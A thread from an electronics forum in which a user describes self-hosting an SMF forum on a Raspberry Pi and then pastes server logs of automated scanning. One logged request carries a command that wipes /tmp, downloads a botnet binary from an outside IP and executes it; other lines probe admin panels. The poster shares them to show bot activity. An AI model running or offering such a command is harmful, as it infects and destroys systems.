A SMF forum as a personal platform - Page 1
Forum section: electronics / general

author: RoGeorge
author_rank: Super Contributor
timestamp: September 03, 2020, 09:24:22 am
content: Apart from the daily online visits to a few EE/maker communities, I found myself recently in a (technically) intense PM exchange with someone who wants to keep the messages exchange private. Even after I repeatedly suggested to make a public topic about the subject, because it feels like a big waste to benefit alone of such expertise, the answer was still no. It is from a Romanian forum, by the way, not EEVblog.OK, then, will keep the messages private, but the PM pitfalls as a collaborative platform starts to show its teeth:- attachments not allowed- pics can be inserted only as links, so they need a 3rd party hosting- no LaTeX or other math formulas, just text and emoticons- the PM initial subject has now spread into 3-4 main topics, and it is very hard to track each topic- no pagination, just infinite scroll, which is a pain after 10-20 PM of 1-2 textbook pages long each- no easy way to quote or reference certain text when commenting on it- all the internet security protections are in place, like e.g. can not embed a GeoGebra interactive model in a reply, etc.After looking for a couple of days what online (and free) platform to use, I came to the conclusion that a forum-like platform (but with no restrictions) would probably be the best.It just happens that I already have had a Dynamic DNS address from my ISP provider (which I never used before), 50 GB cloud storage (on 1Gbps fiber link, used only once or twice even it's WebDAV capable and is as fast as a local SSD, if not faster) and an old RaspberryPi B (ARM 700MHz / 256MB RAM) from around 2014 or something, just sitting around.Sort of speak, I was already in possession of all the parts, just to click them in place.At first I've looked for what forum platform to use, this search narrowed down to a choice between phpBB and SMF forum platform. I like EEVblog a lot (which is SMF driven) so I settled to a SMF forum hosted on a Raspberry Pi (RPi) SBC (Single Board Computer). My fiber optic (FO) router is powered 24/7, so I'll power the RPi board from its USB port.The network setup is like that:- RPi sitting inside internal LAN- port forward of port 80 in my FO router (for now is http:// only, no secure https:// )- DDNS (Dynamic Domain Name System) provided by the ISP (Internet Service Provider) itself, rogeorge.go.ro- RPi running an ancient Wheezy Debian Linux (from around 2014) with Nginx (web server), PHP5 (language), AMP (accelerator), MySQL (database server), and on top al all these, SMF (Simple Machines Forum).After a few days of fiddling with the whole setup, it finally works. There is a running SMF 2.0.17 athttp://rogeorge.go.ro, with registration closed (it will not go public) and with 3 users, all in Admin roles: the two of us exchanging messages, and a 3rd admin just in case, if something goes terrible wrong.SMF 2.0.17 works like a champ on a humble RPi@700MHz/256MB RAM and a 2GB CLASS1 SD card!----------------------Not very happy with the SMF 2.0 mostly because it can not drag and drop pics, does not scale pics and iframes (in the editor window), etc.However, I just read and test the new SMF 2.1 editor, and I'm thrilled with it, it does all the SMF 2.0 editor lacks, and it does it out of the box, no mods required (SMF 2.1 is in RC4 stage now, so not yet released for production but very stable)----------------------- Should I switch to SMF 2.1?- Should I just use the current SMF 2.0.17 with some (free) editor mod? I'm a week old in SMF, which editor mod (mostly for proper drag&drop pics into posts)?- So far I looked for casual platforms like Disqus, Twitter, e-mail, hackaday, Wordpress, etc. None seems appropriate. Did I miss any? Should I maybe try something else, some other platform then a SMF forum? Which one?

author: Ranayna
author_rank: Super Contributor
timestamp: September 03, 2020, 11:04:26 am
content: Uh, why so complicated for a one-on-one exchange? Something wrong with just using E-Mail?I mean it's a nice exercise to setup a forum, but it seems a bit overdesigned as a solution

author: RoGeorge
author_rank: Super Contributor
timestamp: September 03, 2020, 03:24:51 pm
content: Maybe it is overdesigned, indeed, but with some real benefits.EMail is not so great for long threads, with plenty of embedded technical drawings, result files, etc.

author: cdev
author_rank: Super Contributor
timestamp: September 03, 2020, 04:07:32 pm
content: This is a much better alternative than using the big corporate behemoths.. Just figure out some way to make your filesystem more reliable than an SD Card, maybe use software raid or a USB hard drive. But thats likely overkill for your chatting box.

author: RoGeorge
author_rank: Super Contributor
timestamp: September 03, 2020, 04:45:10 pm
content: My internet provider also includes 50GB of storage on their cloud, and it supports WebDAV protocol. It can be mapped as a local folder in Linux.The SD card is way slower than the network speed. I'm curious if there will be any visible speed increase in served pages when I'll move the forum folders from the SD card (like it is now) to the cloud storage.It was also a nice surprise to find out that, so far, the old Rpasberry Pi B was very reliable. It's powered 24/7 and running without reboots for a couple of days now, and it's powered from an USB cable, no dedicated power adapter.

author: LeonR
author_rank: Regular Contributor
timestamp: September 04, 2020, 08:00:13 pm
content: Take a look at Office SharedPoint. I think it may help you organize your project(s) and find stuff even easier.There's also some free alternatives:https://www.workzone.com/blog/sharepoint-alternatives/

author: RoGeorge
author_rank: Super Contributor
timestamp: September 07, 2020, 06:04:41 am
content: I've just tried this weekend a clean install of the daily SMF2.1 build, still in RC2 stage (release candidate). By comparison with the SMF2.0.17 (production released) SMF2.1 RC2 is:there were a couple of SQL errors regarding news sending (which were deactivated, don't know why still give those errors)slightly slower (on a Raspberry Pi B from 2014, 700MHz, single core, 256MB RAM, 10MB/s read speed SD card, 100Mbps LAN), not sure if it's a matter of settings. SMF2.1 renders pages in 0.2-0.5s, up to 2-3s when pages not yet in cache, with pics, etc. SMF2.0 is much more responsive, 0.2-0.4s per page usuallythe new editor in SMF2.1 is much better. Can go in full screen edit, which is very helpful for larger messages editing, can drag and drop pics, including from the clipboard (so one can right click copy in another page, then paste the pic in the edit window directly, without attaching it first, can insert inline too, not only at the end, etc.)development doesn't happen very fast, the SMF2.1 was around for many years now, and it is still in RC2, struggling to go in RC3. Looks like the project is still active, but don't keep your breath in the wait of a release.there are no mods and themes yet, didn't had the time to test if the old ones are compatible, most probably notthe database schema is said to be the same, but I didn't look into that yetthere is a nice feature of exporting personal data, including all personal posts, which is nice, but doesn't work yetAnother thing I tried was to mount a cloud storage (WebDAV protocol) as a local directory, and symlink the former SMF2.1 folder to it (with only the webpages part stored in cloud, not the database). That would give an additional 50GB cloud storage to the Raspberry Pi. The setup worked, but it is much slower, sometimes pages took up to 10-20s to render, unusable.Rsync or even copy to WebDAV also works very slow, not sure why. The speed should be about the same (~10MB/s SD card read speed vs. 100Mbps LAN speed), but it's not. Cloud storage is much slower than the local SD card.Had to try something similar with ftp mounted as a local folder. If it doesn't work good enough, would probably try an USB SDD, or maybe some other SBC.If it were to upgrade the SBC (must be something low cost, low power, as fast as possible but silent) what to consider other than a newer model of Raspberry Pi?

author: RoGeorge
author_rank: Super Contributor
timestamp: September 12, 2020, 07:12:16 am
content: Meanwhile, upgraded from SMF 2.0.17 to SMF 2.1 RC3.The upgrade went smooth, and for some reason the big lag/page rendering time seen with the former RC2 version has now gone. The speed is reasonably OK.2.1 RC3 is now almost as fast as 2.0.17However, I got scared about hack attempts seen in the logs. Here's a few examples:Code:============================================================32.140.28.18 - - [09/Sep/2020:06:35:23 +0300] "GET /phpmyadmin/ HTTP/1.1" 404 570 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"170.79.87.177 - - [09/Sep/2020:06:53:57 +0300] "GET / HTTP/1.0" 200 11792 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"192.241.235.194 - - [09/Sep/2020:06:58:08 +0300] "GET /portal/redlion HTTP/1.1" 404 142 "-" "Mozilla/5.0 zgrab/0.x"187.62.71.85 - - [09/Sep/2020:07:18:03 +0300] "GET / HTTP/1.1" 200 11810 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"125.64.94.135 - - [09/Sep/2020:08:07:07 +0300] "GET / HTTP/1.0" 200 10566 "-" "-"125.64.94.135 - - [09/Sep/2020:08:07:09 +0300] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x03L\xA1\xA6\x92\xDB\x88\xF0\xC4q\x8BW" 400 172 "-" "-"2.57.122.187 - - [09/Sep/2020:08:49:06 +0300] "GET / HTTP/1.1" 200 3173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"193.118.53.202 - - [09/Sep/2020:09:06:01 +0300] "GET / HTTP/1.1" 200 3170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"102.46.115.47 - - [09/Sep/2020:09:13:28 +0300] "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1" 404 168 "-" "Hello, world"102.46.115.47 - - [09/Sep/2020:09:13:31 +0300] "-" 400 0 "-" "-"69.164.222.230 - - [09/Sep/2020:09:38:16 +0300] "GET / HTTP/1.1" 200 11701 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"62.210.142.196 - - [09/Sep/2020:10:41:26 +0300] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 172 "-" "-"45.148.10.28 - - [09/Sep/2020:10:50:48 +0300] "POST /boaform/admin/formLogin HTTP/1.1" 404 142 "http://81.196.189.254:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"45.148.10.28 - - [09/Sep/2020:10:50:48 +0300] "" 400 0 "-" "-"71.6.232.4 - - [09/Sep/2020:11:07:26 +0300] "GET / HTTP/1.1" 200 3164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"102.45.47.18 - - [09/Sep/2020:12:21:16 +0300] "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1" 404 168 "-" "Hello, world"102.45.47.18 - - [09/Sep/2020:12:21:20 +0300] "-" 400 0 "-" "-"66.249.73.66 - - [09/Sep/2020:13:16:54 +0300] "GET /a%3E HTTP/1.1" 404 198 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.66 - - [09/Sep/2020:13:18:00 +0300] "GET /div%3E HTTP/1.1" 404 198 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:19:00 +0300] "GET /Smileys HTTP/1.1" 301 184 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:19:00 +0300] "GET /Smileys/ HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.95 - - [09/Sep/2020:13:19:02 +0300] "GET / HTTP/1.1" 200 3106 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:19:54 +0300] "GET /cron.php?ts=1599646740 HTTP/1.1" 200 54 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.66 - - [09/Sep/2020:13:21:05 +0300] "GET /index.php HTTP/1.1" 200 3108 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:21:54 +0300] "GET /cron.php?ts=1599646860 HTTP/1.1" 200 54 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:23:09 +0300] "GET /Themes/default HTTP/1.1" 301 184 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.66 - - [09/Sep/2020:13:23:10 +0300] "GET /Themes/default/ HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.66 - - [09/Sep/2020:13:24:07 +0300] "GET /Smileys/alienine HTTP/1.1" 301 184 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.95 - - [09/Sep/2020:13:25:19 +0300] "GET /index.php?board=6.0 HTTP/1.1" 200 3215 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.95 - - [09/Sep/2020:13:26:03 +0300] "GET /cron.php?ts=1599647115 HTTP/1.1" 200 54 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:13:36:17 +0300] "GET /index.php?topic=13.0 HTTP/1.1" 200 7332 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"5.14.203.40 - - [09/Sep/2020:13:42:48 +0300] "GET / HTTP/1.0" 200 10565 "-" "-"201.108.244.180 - - [09/Sep/2020:14:15:02 +0300] "GET / HTTP/1.1" 200 11813 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"102.165.30.29 - - [09/Sep/2020:14:36:20 +0300] "GET / HTTP/1.1" 200 10696 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"66.249.73.93 - - [09/Sep/2020:14:55:51 +0300] "GET /Themes/default/images HTTP/1.1" 301 184 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.73.93 - - [09/Sep/2020:14:55:52 +0300] "GET /Themes/default/images/ HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.93 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"70.88.234.189 - - [09/Sep/2020:14:59:57 +0300] "-" 400 0 "-" "-"70.88.234.189 - - [09/Sep/2020:14:59:58 +0300] "GET / HTTP/1.1" 200 3176 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"70.88.234.189 - - [09/Sep/2020:14:59:58 +0300] "GET /HNAP1/ HTTP/1.1" 404 142 "http://81.196.189.254/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"195.54.160.21 - - [09/Sep/2020:15:37:36 +0300] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"195.54.160.21 - - [09/Sep/2020:15:58:35 +0300] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 3186 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"============================================================2020/09/09 06:35:23  2546#0: *7 "/var/www/phpmyadmin/index.php" is not found (2: No such file or directory), client: 32.140.28.18, server: , request: "GET /phpmyadmin/ HTTP/1.1", host: "81.196.189.254"2020/09/09 06:58:08  2546#0: *10 open() "/var/www/portal/redlion" failed (2: No such file or directory), client: 192.241.235.194, server: , request: "GET /portal/redlion HTTP/1.1", host: "81.196.189.254"2020/09/09 09:13:28  2546#0: *20 open() "/var/www/shell" failed (2: No such file or directory), client: 102.46.115.47, server: , request: "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1", host: "127.0.0.1:80"2020/09/09 10:50:48  2546#0: *25 open() "/var/www/boaform/admin/formLogin" failed (2: No such file or directory), client: 45.148.10.28, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", host: "81.196.189.254:80", referrer: "http://81.196.189.254:80/admin/login.asp"2020/09/09 13:16:54  3924#0: *448 open() "/var/www/a>" failed (2: No such file or directory), client: 66.249.73.66, server: , request: "GET /a%3E HTTP/1.1", host: "rogeorge.go.ro"2020/09/09 13:18:00  3924#0: *449 open() "/var/www/div>" failed (2: No such file or directory), client: 66.249.73.66, server: , request: "GET /div%3E HTTP/1.1", host: "rogeorge.go.ro"2020/09/09 14:59:58  2550#0: *14 "/var/www/HNAP1/index.php" is not found (2: No such file or directory), client: 70.88.234.189, server: , request: "GET /HNAP1/ HTTP/1.1", host: "81.196.189.254", referrer: "http://81.196.189.254/"2020/09/09 15:37:36  3772#0: *9 open() "/var/www/solr/admin/info/system" failed (2: No such file or directory), client: 195.54.160.21, server: , request: "GET /solr/admin/info/system?wt=json HTTP/1.1", host: "81.196.189.254:80"============================================================Those are all hacking attempts, from only one morning, and all this is without going public, and on an obscure Dynamic DNS name nobody but me is currently using.I was aware about bots before, but seeing them trying to log into a humble Raspberry Pi made me realize how real is all this.Decided to reinstall all, and use only ugly random passwords before going online again. Also decided to get a secure certificate and from now on to use only the secure https, and disable the unencrypted http. So far it was http, so eventual sniffers could have seen my login/pass into the blog/forum platform.All this setup, testing and tightening becomes more and more time consuming. And, if instead of a SBC like RPi, one would want to use a desktop or a server, then there will be extra costs for the electricity bill, hardware upgrades, etc. which makes cloud hosting, or any other types of VPS (Virtual Private Server) a very attractive alternative.For me is all mostly a learning exercise, but if any of you plan to open some public platform, then hosting it at home most probably will be more expensive and less reliable than cloud hosting.

author: magic
author_rank: Super Contributor
timestamp: September 12, 2020, 02:12:59 pm
content: Bots will find you everywhere, even if you have never published a link to your forum. Hell, they will find you even if you have never posted a link in this thread. The will find you everywhere. Expect them.